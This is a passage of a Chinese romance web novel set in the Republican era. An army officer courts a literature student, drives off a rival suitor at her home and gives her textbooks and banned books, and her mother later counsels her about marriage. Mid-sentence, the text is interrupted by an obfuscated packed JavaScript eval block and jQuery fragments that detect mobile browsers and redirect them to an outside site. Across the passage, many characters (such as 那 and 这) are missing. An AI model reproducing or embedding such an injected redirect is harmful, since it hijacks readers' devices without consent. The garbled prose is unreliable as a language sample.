姮音看了眼巷口外辆军车,她问萧牧河:“方才坐在车里的,不会真是你吧。” 萧牧河怕她觉得自己是在跟踪,就说:“我可没跟着你。警备司令部离这儿不过两条街,我出来和人谈事呢,这就是顺道。”他很是笃定,仿佛这顺道顺到她跟前是天经地义。 姮音说:“好好好,您日理万机,自然处处都是您的道。可是我怎么能知道你们司令部在哪。” 萧牧河迫不及待地问:“你呢。” 姮音道:“和人相看啊。” 她倒答得干脆,萧牧河闷闷不乐,当时她在宅子里的时候,说和自己相看,含羞的像朵水仙花,可是为什么她对自己说,和别人相看,却能像去街口买菜似的。 “你就这么和别人相看去了。” 他话里是盖不住的酸了吧唧。 姮音笑话他:“你倒伤心起来了,我又没说答应。” 萧牧河欣喜道:“你没看上啊,太好了。” 姮音忽然想起不知从哪本小说,哪张小报看来的风月文章。说为何文人多情,因为这些人能把三分情谊说成十分,为何多情的人又薄情呢,因为他们最会钻研字句,十分的情深,在脑壳里倒腾一遍,就剩了三分。 萧牧河这话直白,像个初出茅庐的毛头小子,压根也不用她品鉴,就能知晓他话中之意。他的情,他的欲,像烙铁,像长了毛的野兽。呲着牙,冒着热气,摇着尾巴就凑上前来。 这都什么乱七八糟的比方。 姮音脸上一热,慌忙别开眼,“你怎么这样说话。” 萧牧河却俯下身,他目光灼灼,望进她闪躲的眼睛里,追着她乱瞟的眼神,说:“我难道不比他们些凡夫俗子强,我就是想不通,你怎么看不上我呢。” 他靠得太近,穿着军装,领口有些松,姮音若是稍微正视,就能看到他有些粗厉的,因为行军在外晒黑的皮肤,还有他的喉结。她瞥他两眼,说:“你多大啊。” 萧牧河答得飞快:“二十五。就比你大五岁,算老么。” 姮音着实吃惊,重新打量他,“你才比我大五岁。” “你嫌弃我老啊。”萧牧河追问。 姮音还没来得及回答,萧牧河神色一凛,握着她的小臂,将她拉到巷子里处,用身体的把她的身形严严实实地挡住。姮音手臂贴着他的袖子,不明所以地看着他。 紧接着,巷口传来脚步声,是方才咖啡馆里位陈公子,提着公文包,步履匆匆地走了过去,并未留意这阴暗角落。 她怔怔地看着萧牧河,萧牧河笑着低头看她,松开手,说:“咱们现在这样,倒像见不得光似的。” 姮音本来被他弄得慌乱,听了这话,又觉好笑,抿着嘴憋住:“我都和人家说好了,只是家里催促才来见一面,没有结婚的打算。位陈先生也是开明人,没打算怎么着。你真的不必如此。” 萧牧河戳戳她脑门:“你呀,真是个木头脑袋。” 姮音回他一句:“你才木头。” 说完还往旁边挪了两步。 萧牧河心里称奇,怎么就觉得她哪哪都好,哪哪都可爱,就连挪的这两步,他都要拍手赞一句,走得棒极了。他在团里训人的时候,可不是这样。不过些臭兵疙瘩哪能和她比。 姮音 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他看着后视镜里,姮音走出巷子,抬起手,搓了搓方才被他触碰过的小臂,又低头摸了摸脸,才慢腾腾朝着家里往回走。 车内,傅青琅将手里的军报塞回萧牧河怀里,不耐烦道:“别犯春了,干你的正事吧。” 萧牧河笑容还挂在脸上,把军报卷成个纸筒子,心不在焉,想入非非,问傅青琅:“你当初怎么追你夫人的。教我两招。” 傅青琅整了整自己干净整洁的袖口上,漠然道:“她独一无二,怎么能同一而论,我自是无可奉告。” 真是油盐不进。傅青琅平日不喜提起家事,今日也算破例,让萧牧河不禁想起些金陵旧影。 时他长年在外奔波,虽说是金陵人,回去的次数却屈指可数。有一次回金陵,便是因为傅青琅成婚。新式的婚礼办得热闹,因着傅青琅他老子的身份,军部和上面里不少有头有脸的人物都派人到场。 他远远地瞧见了新娘子,覆着朦胧的白纱,看不太真切面容,只记得柳叶眉和鹅蛋脸。站在傅青琅身边,一瞧就是位顶聪明通透,极有主见的女子。傅青琅年纪比他还小些,这婚却结得早。 颇为巧妙的是,他改名时还遇见他夫人,后来才晓得,这位柳姑娘名字里恰恰有个玉字。傅青琅记下她的名字,便认定了他与她是良缘天定,这辈子注定就是要在一起的。这借口,还真怪蹩脚的。 萧牧河说:“你快算了吧,柳夫人比你大上几岁,是金陵十里八乡闻名的玉器行老板,多少年轻才俊都入不了她的眼。依我看,她当初是可怜你吧。” 傅青琅张冷脸终于裂开点缝,他古怪道:“你怎么变聪明了。” 萧牧河无话可说。 一碰上她的事,傅青琅就好赖话不分了,没劲。萧牧河顿觉无趣,他低头展开手里卷军报,说道:“前些日子报上来的开支,我看有些地方还得再核核。” 傅青琅闭目听他讲话,说完后他才道:“上头催得紧,各处都在裁撤冗员,批下来的钱也少了,这节骨眼上,不能出乱子。” 原来的旧部是走了,可终究还是有些不干不净的,还是要尽快扫除有异心的人才行,免得生出事端。加之他们虽暂时走了,可盘踞在各自老窝的各方人马都虎视眈眈着,要打也不是现在打。 萧牧河和傅青琅说来说去,不还是因为大楼里的老爷们想要这么做,而他们俩的身份,只需要服从调动,其余的就无需多虑了。 正经事是聊完了,他和傅青琅一边一个坐着,气氛难免沉闷。 傅青琅说:“她还等我回去吃饭呢,虽然有勤务兵在外头守着,可是我不放心,就先开车回去了,你自己回司令部找人送你吧。” 萧牧河咬了咬后槽牙,从车上离开,黑色轿车没有丁点停留的意味,迅速发动,绝尘而去。以前他还笑傅青琅遇上美人,就没了魂魄,傅青琅只鄙夷他。如今倒好,萧牧河也遇上个冤家,再也笑不得他了。 傍晚燥热,萧牧河解开外套,挽起袖子,把外套往后一甩,一只手插着兜,慢悠悠走了两条街,回了司令部。他家的司机依旧等在,看到萧牧河,还问他:“少爷,你怎么一个人回来了。” 萧牧河冷笑:“有个老佛爷,撬走了老子的车。”可不是么,傅青琅厮开的,可是他的车啊。 司机惊道:“咱们用不用派人去追。。” “追什么追,是姓傅的开走回家找老婆哭了。”司机了然,原来这位老佛爷说的是一位。萧牧河把外套穿好,催促道,“行了,先用司令部的车吧,明天让他给我还车。” 回家的路上,萧牧河难免想起了姮音。 他自然不至于禽兽到觊觎一个小丫头片子,可是真要成婚的话,他愿意是她,也想要自己的夫人是她。喜欢读书,就慢慢读书吧,反正他与她都还年轻,等读完了书,再明媒正娶,也不算迟。 捋顺了思绪,萧牧河这段时间飘忽的心绪终于定了下来,也笃定了要去争取,而不是说几句话,入了夜辗转反侧,却又放任不管。 9. 第九章 某天,姮音和妈妈在厨房捣鼓面团,屋外响起敲门声。王兰用围裙擦了擦手,对姮音说:“你去瞧瞧。” 姮音拍了拍手上的面粉,走到院门后,拉开扇吱呀作响的木门。 门外站着的人,是陈景生先生。 也就是天在咖啡馆坐着的男人。 他穿着一身体面的浅灰色西装,鼻梁上架着副圆框眼镜。他手里捏着一顶黑色的绅士帽,局促地按在胸前。见门开了,他像是松了口气,又像是更紧张了,下意识地抬手推了推鼻梁上的眼镜架。 他说:“东方小姐,打扰了。” 姮音疑惑:“陈先生。你怎么来了。” “有些事我想,还是应该再和你谈谈。”他说得很客气,姿态谦和有礼。 姮音侧身让开:“进来说话吧。” 陈景生低声道了句叨扰,这才把脚边大包小包的东西提起来,迈步跨过门槛,走进小院,飞快扫了眼她们家朴素整洁的院落。 王兰也擦着手从厨房走了出来,认出了这位前几天女儿去相看过的陈先生,媒婆给她看过照片。 天姮音回来明明说清楚了,两人都无意,怎么今天他倒提着东西上门来了。王兰心里纳闷,脸上却笑着,一边把手在围裙上又用力擦了几下,一边迎上前:“是陈先生啊,快请屋里坐。” 陈景生对王兰点头示意过,将手里提着的几个袋子放在堂屋一角,姮音连忙摆手:“陈先生,您太客气了,真的不必带这些。” “一点心意,不值什么。” 陈景生也客客气气的,在靠墙的旧椅上坐下,双手无意识地交叠着,又分开,在膝头搓了搓。 姮音拘谨地坐在他对面,等着他说到底是什么事。王兰站在门口,看到陈景生这幅样子,心里明镜似的,扬声说:“灶上还烧着呢,我得去瞧瞧火候,姮音,你好好招呼陈先生。” 说完,人已转身进了厨房,留下堂屋里两个年轻人。 陈景生又看了眼姮音素白的脸,清了清喉咙,说道:“你还记得城西头开烟草工厂的赵春良家吗。” 姮音点头:“记得的。夏天会儿,他家办喜事,我还去帮过几天工。” 陈景生终于找到话头,提起了侃侃而谈的架势:“是我舅舅家,天办的是我表兄的婚礼。婚礼上,我就看见你了,只是人太多,你大概是没留意到我。” 她想了想,确实记不得见过他。 陈景生说:“后来在咖啡馆见面,东方小姐你似乎也并无方面的意思,所以这些事,当时也就没提。” 姮音安静地听着,心里却疑惑,她不明白他为何要特意提起这些事。她端坐在他对面,双手交叠放在膝上,背脊挺直,维持着招待客人的礼貌。 她想问陈先生今日来,究竟所为何事啊,话在脑壳里转了转,觉得还是太过直接,只是点头道:“原来是这样。” 堂屋里一时没了话,虽然不至于度日如年,但姮音的心思早就不知道飘到哪去了,心想着要不去倒杯茶,扯点有的没的,给他送出家门,顺便把他带来的东西让他记得拿上。送这么贵重的,她要是去还,只觉得比此时的无言还要煎熬几分。 叩门声再次响起。 别管是谁了,姮音只觉得这声音来得真好,简直是她的救星。 姮音站起身,对陈景生微微欠身:“陈先生稍坐,我去看看。” 她快步走到院门边,门本就虚掩着。若是街坊邻居的话,早就进来喊妈妈了,难不成是李老师。她拉开一条缝,门外站着的人出乎意料。 是萧牧河。 他衣领第一个扣子没扣,领口松着,袖子也被卷了起来,露出了结实的小臂,上面似乎还有疤痕,没入了衣服里,看不太清楚。脚边摞着三捆用麻绳扎得整整齐齐的书,也不知是做什么的。 萧牧河也看着姮音,虽然把围裙摘了,手洗了,但是挽起来的袖口还沾着面粉。 “你做好吃的呢。” “馍馍。” 他看着姮音压低眉毛,抬着眼,巴巴的瞧,就说:“怎么。我不能来。” 姮音伸手把门再掩上些,艰难道:“要不改日再来吧,萧长官。” 萧牧河两手抱臂,随意指了指脚下的书,“为什么。我可是专程给你送好东西来的。” 姮音这才看清书封上的字,有教授们编撰的课本,也有相关的文学读物,这些崭新的书整整齐齐叠放着,连个边角都没折。她不禁感到惊喜,可很快又在心里左右晃脑袋。这些崭新的课本要不少钱呢,对她而言太过贵重,她原本想的是去学生的旧书摊淘换,或者去图书馆多借几次。 “拿上吧,都是你们中文系要用的课本,喜欢吧。现在我能进去了。”萧牧河眉梢一挑,嘚嘚瑟瑟的,但姮音还却没什么热烈的回应,他又玩味道,“还是说,你这儿有什么不方便。” 姮音正让自己的眼睛从书上离开:“这太破费了。” 萧大公子他却自有一番道理:“我给你买裙子,你不喜欢,你看你小小年纪,读了一肚子墨水,我要是买个镯子簪子,你恐怕也不要,我是花钱买你开心,你喜欢什么,我就买什么,你点个头,我花得就值了。” 姮音不答,他又问,仿佛非要从她这里得到一个答案:“你不喜欢裙子,送你书总行吧。” 她无奈:“不是不喜欢裙子,是你带我去买这不太合适。” 他撇嘴:“迂腐。” 这声迂腐把她的气顶上来,自己难不成还是什么古板老夫子,姮音想反驳,可看着他一脸理所当然的样子,气又莫名其妙地散了,只觉得好笑。 萧牧河往她家里张望:“你家里有客人。” 姮音心想,他猜得还挺准。 他又说:“因为有客人,所以才不让我进去,你得让我知道知道,里头坐着的是谁吧。” 萧牧河这个人,干嘛非要打破砂锅问到底,要是她说了,他又拍桌子闹不开心,可不关自己的事。姮音心一横,索性挑明了:“天在咖啡馆的陈先生,正在里头做客。你现在进去,算怎么回事。” 萧牧河眼里的笑哗啦啦全飞了,恐怕是花了十分的努力,才没让自己的脸挂得和驴似的。 见姮音没伸手接书的意思,他只当她拿不动,更不给她拒绝的机会,他弯下腰,抱起两捆书,手臂一伸,又把第三捆也提了起来,侧身便从她身后的门缝里挤了进去。 “哎。你等等。” 姮音连忙追了上去。 萧牧河才不等,他还说:“而且,买书与我而言,不算破费,你真是太小看我了。” 姮音急道:“我不是说这个。” 王兰还想着姮音怎么出去半天,手里端着个盛满白面的大盆,正站在厨房门口探头张望,冷不防看见个穿军装的高大男人大步闯进来,吓得手一抖,盆便脱了手,哐当一声砸在砖地上,白花花的面粉像炸开的烟雾,扑簌簌地腾起,落了满地。 “妈。”姮音顾不得这乱七八糟的事了,只匆匆道,“回头再跟您细说。” 她紧跟着萧牧河追进堂屋。 陈景生还坐在椅上,原以为是来了寻常访客,待看清来人的打扮,眉宇凌厉,毫不客气地审视着自己,他心头不由得一凛。 他旁若无人,直接走到屋里头一处空闲地方,将小山一样的三捆书咚地一声撂下。姮音追到他身边,还是坚持道:“真的不必送这些,太破费了。” 萧牧河却像没听见后半句,只挑着话回她:“你要是不好意思,说声谢谢就行,我这人,最不耐烦来回推让。” 姮音真是拗不过他,只好说了声谢谢。 萧牧河满意地点点头,目光一转,便大刀阔斧地坐在在姮音方才坐过的张木椅子上,位置正对着陈景生,却全然不理会对方的存在,大喇喇的样子,仿佛是在自己家里。 陈景生惊疑不定,目光在萧牧河和姮音之间,终于忍不住开口问姮音:“这位是府上的亲友。” 姮音一时不知道该怎么说。亲戚。自然不是。朋友。似乎也算不上。难道要如实说,这位军爷,和你陈先生一样,都是媒婆介绍的,和她相看过的人。可是这话无论如何也说不出口,她张了张嘴,正为难间,萧牧河却已目光坦然地迎上陈景生探究的视线。 他说:“不是亲友。” 姮音默许了他的话,她们确实不是啊,他有点好奇萧牧河怎么解释。 紧接着他就点了包炸药:“我喜欢她,所以来看她。” 姮音,陈景生,还有虽然害怕但是依旧不放心女儿一个人应付两个客人,所以过来堂屋的王兰,三个人全都瞠目结舌。 陈景生脸上的血色也褪了七七八八,眼镜片后的眼睛瞪得溜圆。萧牧河看到王兰,还客客气气地站起来,喊了声婶子,王兰嘴上哎了两声,却惊恐地看向姮音,姮音摇头,她怎么能知道萧牧河会这么说。 她实在忍不了了,走到萧牧河旁边,低声问他:“你疯了不成。” 姮音唯恐是自己听错了,但萧牧河却不觉得自己说错,只怕自己说的不够多。 对于旁人的震惊,尤其是这个小眼镜,他浑不在意,反而扬起笑来,看向脸色苍白的陈景生,问他:“你呢。你是谁。” 陈景生被他身衣服和迫人的气势所慑,心里发怵,但想到这是在姮音家里,对方总不至于动粗,况且自己一片真心,也没什么见不得人。 他定了定神,看了眼姮音,语气诚恳:“东方小姐,日咖啡馆一别,我思前想后,还是觉得小姐你温婉知礼,学识又好,无论是将来在外做事,还是还是相夫教子,都胜过寻常女子许多。我们志趣相投,都是读书人,若能若能结为连理,日后朝夕相对,也有说不完的话。” 陈景生实在是怕被来者不善的萧牧河给搅了,但是见姮音也不像痴恋他的样子,又增添几分信心,说的话难免急切。 王兰也挪步进来,站在离姮音不远的地方,忧心忡忡地看着,生怕两个男人急了火,闹了起来,她好拉着女儿跑。 但萧牧河听了,又施施然坐了下去,不过可能因为姮音妈妈在场,他这次没么吊儿郎当的样子,只目光灼灼地看着凝神听陈景生讲话的姮音。 眼前的她,低垂着眼,似乎是在思索小眼镜的话。 温婉,恬静,过分的拘谨,但往往只有刻意的疏离时,才会这副模样。他手底下些人,私下要多猴有多猴,开会的时候就乖得了栓绳子似的,也是这样拘谨。 这可与他面前的姮音判若两人。 他记得她与自己斗嘴时,鲜活的,明媚的,活泼的就像是个小孩子。她眼睛明亮,说不完的话,脑门上好像刻着不服输的三个字,有时候很大胆,有时候她又很怂,只要自己稍微冷着脸,她就一整个缩进龟壳里,装聋作哑起来。生机盎然,像开得正好的花,这才是她本来的样子。 此刻,她似乎察觉到他的注视,扭头飞快地瞪了他一眼,默默地坐在桌旁另一张旧椅上,双手规规矩矩地叠放在膝上,坐得很端正。 萧牧河本来拿手支着下巴,看到她瞪自己,笑着扭过头,很快又转过来,看着她的神情来回变化。 萧牧河心里莫名笃定起来。 她未必喜欢自己,但绝不会喜欢小眼镜。当初在咖啡馆外面,还担心她们相谈甚欢,如此看来,也不过如此。 陈景生也看着姮音,执着道:“东方小姐,我想知道你的想法。” 姮音垂着眼,说:“我没有个打算。” 陈景生了。他自诩家世清白,留洋归来,在报馆做事,也算体面,眼前这姑娘,虽说是读书人,可也是苦寒出身,父亲又样不明不白地去了。他原以为,自己这般条件,又有十足的诚意,她总该有所触动,哪怕只有半点也行。 可她句没有打算,多么干脆,摆明了确实是压根不打算和他有什么继续的往来,反倒是他自作多情了。 陈景生忍不住打量坐在一旁的萧牧河。 他丝毫不把自己当外人,不知何时自己倒了杯水,他也不喝,就慢悠悠在手里把玩,还时不时盯着姮音瞧,仿佛已经有了十成十的把握。看得叫人心头冒火。 很快,一个念头闪过。莫非她早已属意此人,所以才对自己这般冷淡。这念头让他很是不快,话冲口而出:“难不成你也喜欢他。” 姮音还没来得及开口,萧牧河手里的瓷杯咔一声磕在桌面上,极其突兀,动静不大,但唬人的很,王兰站在姮音后面,被他惊得肩膀一缩,陈景生怕惹了他落不到好,也没了气势。 但是姮音却怕不起来,上次他拍桌子嚷嚷,结果是雷声大雨点小,他不过是把杯子放下,声响大了些,应该不能是气着了。 萧牧河说:“我能跟你一样。我喜欢她,要追她,不是相中她能做妻子,更不用她相夫教子。” 这句话是说给他听的,接下来这话,是说给姮音的,“她爱读书,就算读一辈子书又何妨,更何况,我与你相比,又不差,她为何不能瞧得上我。” 姮音心想,他说这油嘴滑舌的话,还真是一套接着一套的。但盘算盘算,其实这是第二次坐下来聊,还是在这样尴尬的境况下,她怎么就觉得他油嘴滑舌了。 身为母亲的王兰却听得心中触动,她想起媒婆私下里对她说的话。萧家是金陵城里的头等人家,他父亲是手握重兵的司令,母亲是名门之后,哥哥姐姐都是为国捐躯的忠烈。这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389866|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家世,这样的身份,他这番话已经是把姿态放得很低。 陈景生脸上红一阵白一阵。萧牧河的表白,过于大胆,简直就是粗鲁,却又坦荡。他是读书人,讲究含蓄体面,也知道他这么油嘴滑舌的人,姮音肯定不会看不上他。这次来,面子里子丢了个干净。 他是气,怎么办,对方是什么身份,说不定身上还别着枪,他犯不着为争一口气去触这个霉头。 既然如此,继续坐下去有什么意义,难不成等着他继续羞辱。陈景生深吸一口气,压下难堪,站起身:“东方小姐,打扰了,我先告辞。” 姮音也站起身:“我送送你吧,陈先生。” 两人一前一后走到院门口。 陈景生停下脚步,转过身,看着姮音,犹豫片刻,还是低声道:“里头坐着的个男人不是善类,子弹不长眼,你管不住他的。” 姮音眉头微皱,不悦。 陈景生见她蹙眉,以为她不信,又道:“更何况,这个时候不太平。” 他言下之意,当兵的,刀头舔血,朝不保夕。稍有个不慎就死在了战场上,和这种人结婚,半生动荡,怎么算是好归处。 姮音平静道:“我没想么多。” 陈景生叹了口气,像是放弃了最后的努力:“我也不说了,总之,不是良人,你好自为之吧,我就不打扰了。” 说罢,他戴上帽子,匆匆转身,脚步凌乱地离开了,好像身后有猛兽在追赶似的。 姮音把门关上,抬手揉了揉太阳穴,心里打定主意,无论如何也得把妈妈念叨的下一次相看给推掉。装病也好,找借口学校课业忙也罢,这般场面,实在令人心力交瘁。 她往回走,却见妈妈从堂屋门口走出来,朝她招了招手,姮音跟着她走石榴树下。 王兰拉着她的胳膊,小声道:“里头位,瞧着是真不错,你真就一点意思也没有。” 姮音摇头:“妈,我真的还没想好,这不是小事,您让我再想想。” 安抚完妈妈,姮音回到堂屋,就看见萧牧河正背着手,随意地踱着步,左右瞧着,活像是在勘查地形。 “你看什么呢。”姮音问他。 萧牧河转过头,抬手指了指西边:“你的屋子,是不是在边。” 姮音脱口而出:“你流氓啊。” 萧牧河委屈道:“我怎么就流氓了。不过是随口一问,又没说要进去瞧。” 姮音懒得再与他争辩这没皮没脸的话。她走到桌旁,看见桌上杯凉白开,方才萧牧河似乎并未动过。她口干舌燥,便拿起杯子,问萧牧河:“这水你喝了没有。” 萧牧河目光掠过杯沿,摇了下头。 姮信了他的话,实在是渴得紧了,便端起杯子,仰头咕咚咕咚地喝了起来。她喝得急,纤细的脖颈微微仰起,喉间轻轻地动着。 萧牧河就站在一旁,一动不动地看着。他的目光落在她的唇上。杯沿离开后,她殷红的唇瓣被润泽得饱满,像被打湿的花瓣。姮音抿了一下唇,把水杯放在一边,抬起手,白皙的手指屈起,轻轻蹭过唇角,把细微的水痕擦去。他盯着姮音,连手指上圆润的指甲盖都看得清楚。 他忽然觉得喉间发干,像是被什么东西紧紧扼住,汹涌的热意在胸口乱撞,闹得人发慌。 干涸的,无形的,滚烫的,全都包裹上来。跳动的脉搏,沾着水珠的肌肤,惊心动魄的柔软。像野火把草原上奔跑的鹿困在火中。 他意识到自己这失礼的绮念,下意识地屏住了呼吸,仿佛只要开口,或者做点什么辨别的,就会暴露了自己此刻极不体面的心猿意马。 姮音抬眼,正对上萧牧河直勾勾的目光。 她被他这副模样弄得莫名其妙,疑惑地问:“你怎么了。” 萧牧河拽了拽自己发烫的耳朵,他随意坐下,问道:“小眼镜方才没说我什么坏话吧。” 姮音说:“怎么。他若真说了,你还要追出去寻他不成。” “难道不该。”萧牧河反问。 姮音心里转了个弯。多一事不如少一事,若真将陈景生番话原样复述给眼前这人听,萧牧河又不是傻的,怕是真能立刻起身,叫上几个兵,将文弱书生“请”去不知什么地方“谈谈”了。她摇了摇头:“没有。他只说既如此,便不会再来了。” 萧牧河听了,笑得开怀。 他这得意劲儿还真是好笑,姮音说:“人家不来了,你便这般高兴。” 他问:“你想知道。” 姮音说:“忽然不是很想了。” “我讨厌他。”萧牧河答得天经地义,“就是这么简单。” 她开了点情窍,也猜着了,他是因为自己才不喜欢的。听老师说,天底下当兵的人都一个样,都不是好相处的,她不觉得萧牧河会是例外,也怕他真给陈景生好端端抓了。 要不,再多提一嘴。她正想着,萧牧河却对她说:“我们来日方长。” 这句话把她的话堵了回去,只能望着他,不知如何是好,萧牧河站起身,回她一个笑,姮音垂下眼,避开他长了勾子的眼。 王兰恰在此时交握着手走进来,小心道:“您留下用个便饭吧。” 萧牧河边往外走边道:“不了,我本就是来给她送书的。” “姮音。” 他忽然连名带姓地叫她,将姮音飘忽的思绪拽回。姮音又望向他。 他半转身,看着她的眼睛,说:“下次。她留我,我就吃。” 说完,也不等回应,转身便走了。 姮音坐在那,仿佛被细线缠上,动弹不得。 这个人,他怎么就能这样呢。 这般理所当然。 好像他们之间早已注定要牵扯不清,仿佛所有的犹疑都只是暂时的迂回,最终总要走到他认定的条路上去。简直蛮横无理。 可要是真的计较,他也从未真正强迫过她什么,她没应下亲事,他也不逼迫,只说是追,追到图书馆,咖啡馆,最后追到家门口。 偏偏他每一次出现,都强横地挤进她的视野里,圈出一块地,不许旁人靠近,也不许她看向别处,仿佛给了她天大的选择,却又将所有的线头都牢牢攥在他自己手心里。 就像一阵忽然而至的风,每次都裹着不同的东西,在姮音察觉到的时候,就已经吹进她的屋子。留下他的气息,他的痕迹,然后丢下一句来日方长,又自顾自地走了。 她被他种野蛮的自信裹挟着,竟一时忘了该如何挣脱,或者说,挣脱的念头升起时,居然显得无力。 她分明是该觉得被冒犯,该恼怒的。可却又有些微连自己都不愿深究的情绪,明知危险,却还是无可挽回地向下沉坠。 10. 第十章 入了夜,月明星稀,凉风窗户吹来,姮音躺在枕头上,翻来覆去睡不着。像无尽头的画片,翻过去一页,还有一页,上面全是萧牧河。不想吧,白天的事又让她睡不着,想他吧,又浑身不得劲。 “姮音。”门外传来妈妈的声音。 “妈,进来吧。”姮音应了一声。 门被推开,王兰披着衣服走进来,她在床沿坐下。她伸出手,温柔地将姮音脸上几缕散乱的发丝敛到一边。 “还在想白天的事。”王兰问她。 姮音点点头,她现在心里乱得厉害。 她说不清这种感觉。没有他,日子照旧过下去,读书,帮工,守着妈妈,以后毕业了找个工作,能养活家里。有了他,好像也没什么。婚姻在她看来,不过是两个合适的人搭伙过日子,像她父母那样,吵吵闹闹,却也磕磕绊绊地走完了半生。可萧牧河他那样的人,若真答应了他,日后会怎样呢。 她只知道,若她此刻点头,他定会毫不犹豫地将她娶回去。 之后呢。是相敬如宾,还是鸡飞狗跳。她心里一点底也没有。 王兰把女儿的迷茫看在心里,她伸出手,将姮音搁在被子外的手拢进自己掌心,轻轻拍了拍。 姮音问妈妈:“老师说,我要选一个自己真心喜欢的,能够托付的,但我不知道,我喜欢他吗。” 王兰问她:“你讨厌他吗。” 姮音诚实地说:“我不讨厌。” 她叹了口气:“妈知道,你还小,所以想不明白。妈年轻时候,也糊涂过。你爸唉,他人,心里装着他的书,他的道理,装不下柴米油盐,也装不下我这个没念过书的妇人。吵吵闹闹半辈子,临了也不过么回事。” 所有的沧桑都已经过去,人活着,就还是要往前看,她说:“妈不想你也这样。” 姮音说:“我知道的。” “你想不明白喜欢谁,就听妈的,若是要嫁人,就嫁个真心实意待你好的,把你放在心上,日子苦点不怕,怕的是心里头空落。” 她想些年和他的争吵,心里就堵得慌,姮音长大了,这般抗拒亲事,是不是也因着从小看多了他们夫妻不和,心里存了芥蒂,才犹豫不决。她不希望女儿和自己一样。 姮音听了妈妈的话,轻声问:“妈,你觉得萧牧河,他算好吗。” 她说:“妈不懂些大道理,也不懂你们读书人说的情啊爱啊。本来只是想着,有家人能给你个殷实的庇护,我也就心安了,可是他对你有心思,只要他对你好,真心实意地对你好,有人疼,有人护着,别像妈似的,稀里糊涂熬日子。” 对自己好。他会对自己好吗。 王兰把她的手放回被子底下,说:“想不明白,就先别想么多了。” 姮音点了点头:“嗯,我回头告诉他。” 王兰一听,顿时笑开了,她轻轻戳了下女儿的额头:“傻孩子。这种事,哪有姑娘家自己开口去说的。得请媒人,按规矩来,你呀,只管安心等着就是。” 姮音把脸埋进枕头里,闷闷地应了一声:“知道了。” 王兰替女儿掖了掖被角,柔声道:“睡吧,别胡思乱想了。”说完,便轻手轻脚地退了出去,带上了房门。 父母之命,媒妁之言,再寻常不过。反正,她与他,原本就算不得相熟。拢共没见过几面,话也没能好好说上几句,每每总是被他搅得心绪不宁,仓皇收场。 自己是什么样子的,他不了解,他的性情如何,喜好怎样,平日里做些什么,她也几乎一概不知,像一本只匆匆翻了几页的书。 这就要决定了吗。 亲事就这般定下了。 将后半辈子,交付给这样一个人。 但好像大家都是这样的,姮音不知道自己为什么会这般惶惑。 若妈妈真请了媒婆上门说合,他会是什么样的反应,是依旧理所当然地点头,还是会有什么别的她没见过的神色。 这念头冒出,就像有蜡油滴到指尖,烫得她立刻蜷起身体。 她抬起手,用手背覆住眼睛,好像就可以挡住对另亲密关系的朦胧窥探与期待,想坐起身,想去隔壁寻妈妈,告诉她,要不还是再等等,晚些时日再说吧。 可她就像是被拢住翅膀的蝶,如烟如雾,如丝如缕,把她一层又一层包裹。直至神思昏沉,关于定亲,关于萧牧河的思绪,也变得支离破碎,光怪陆离,渐渐消弭在睡梦之中。 姮音早早醒来,把萧牧河昨日送来的书拖到房间。 她原本想着,一个中文系的学生,哪里需要这么多书,莫不是他不懂,胡乱买了一大堆,连别的系的也混了进来。若是买错了,趁着刚买回来不久,赶紧退回去,还能省下不少钱。 她蹲下身,解开捆书的麻绳,仔细翻看。 起初只是随意阅览,渐渐却觉出些异样来。这些书并非胡乱堆砌,从先秦诸子到明清小说,从诗词格律到西洋文论,应有尽有,编排得颇有章法。 其中还夹杂着几册装帧朴素的旧籍,书名隐晦,著者署名也没被标注,内容却直指时弊,言辞犀利,是前些年上面明令查禁,不许刊印流传的禁书。 萧牧河是从哪里弄来的这些。他竟敢私藏,转赠这样的东西,胆子未免也太大了些。 姮音一本本看过去,这些书,不像是临时凑数买的,还真是花了心思,将市面上能寻到的,与中文系沾边的,甚至些见不得光的都搜罗了来。 她爸爸就是因为染了这些东西,才被害死的,她本不应该对这些感兴趣,可是姮音总觉得她和东方英不同。她不激进,只是好奇。姮音把这些禁术归类好,堆放在床底的角落,拿垂到床架子下的布帘遮住。 姮音还在书堆里,翻出了一本刚印好不久的小册子,封面素净,只印着四个墨字,《诗学杂论》。著者的名字她也很熟悉,正是李青。 这不是老师前几年私下撰写,却因种种缘由未能出版的本诗论么。她只在老师办公室里匆匆见过一次手稿,后来老师也不怎么提起。她飞快地翻了几页,还能从里面找到过几句李青曾在课堂上提过的见解和评析。 她捧着这本不算薄的书册,像捧着什么传世珍宝。抬头看看窗外,日头已近中天,她却顾不得吃饭了,跑出屋外,扬声对屋里缝衣服的妈妈喊道:“妈。我有急事,要出去一趟,午饭不用等我。” 王兰高声问她:“你找谁去啊。” 姮音刚走到家门口,听到妈妈的声音,赶紧说道:“我找李青老师去,有要紧事。” “去吧,路上看着点。” “知道了。” 姮音心情雀跃地离家而去,她记得清楚,老师提过自己在学校附近的老公寓楼租了间屋子,离学校近,图个方便。若是姮音有事寻她,可以去里找。 是在一条僻静的巷子里,旧式的红砖楼,老师住在三楼,楼梯拐进去,走廊尽头最里面间。 姮音一路小跑,脚步轻快,怀里的书被她紧紧护在胸前,满心满眼都是即将见到老师的喜悦。 终于到了楼下。她三步并作两步跑上狭窄昏暗的楼梯,到了三楼,拐进条正好能被阳光照到的长长走廊,尽头扇木门紧闭着。姮音平复了一下急促的喘息,抬手轻轻叩了叩门。 很快,门被从里面打开。 站在门内的,却不是李青老师,而是一个穿着白色洋装,身姿窈窕的年轻女子。 她一头乌黑的长发烫成了时髦的卷儿,松松地拢在肩后,她生得好,柳叶眉水杏眼,眼波流转间,是不食人间烟火的清丽。正是和姮音有过两面之缘的阮月眉。 阮月眉看清是姮音,就自然地伸出手,轻轻握住姮音的手腕,将她往屋里带,“是你呀,快进来吧。” 姮音被她牵着,嘴里应道:“阮小姐,我找李老师有些事。” 厨房里传来李青的声音:“姮音来了。”说完,她人已出现在厨房门口,身上系着条布围裙,手里还捏着把长柄木勺。 